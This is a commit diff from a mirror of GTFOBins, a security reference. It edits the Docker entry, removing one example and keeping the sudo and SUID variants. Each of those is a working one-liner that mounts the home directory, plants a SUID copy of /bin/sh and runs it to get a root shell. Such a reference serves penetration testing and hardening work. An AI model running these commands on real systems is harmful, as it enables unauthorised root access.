mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Remove docker interactive-execute
This commit is contained in:
parent
edd7fec5ff
commit
f34aa31334
@ -1,19 +1,13 @@
|
|||||||
---
|
---
|
||||||
description: |
|
description: |
|
||||||
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, i.e., being in the `docker` group.
|
Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`.
|
||||||
|
|
||||||
This creates a SUID shell in the guest file system. Any other Linux images should work, e.g., `debian`.
|
|
||||||
functions:
|
functions:
|
||||||
execute-interactive:
|
|
||||||
- code: |
|
|
||||||
docker run --rm -v /home/$USER:/h_docs ubuntu \
|
|
||||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
|
sudo docker run --rm -v /home/$USER:/h_docs ubuntu \
|
||||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- code: |
|
- code: |
|
||||||
./docker run --rm -v /home/$USER:/h_docs ubuntu \
|
./docker run --rm -v /home/$USER:/h_docs ubuntu \
|
||||||
sh -c 'cp /bin/sh /h_docs/sh && chmod +s /h_docs/sh' && ~/sh -p
|
sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user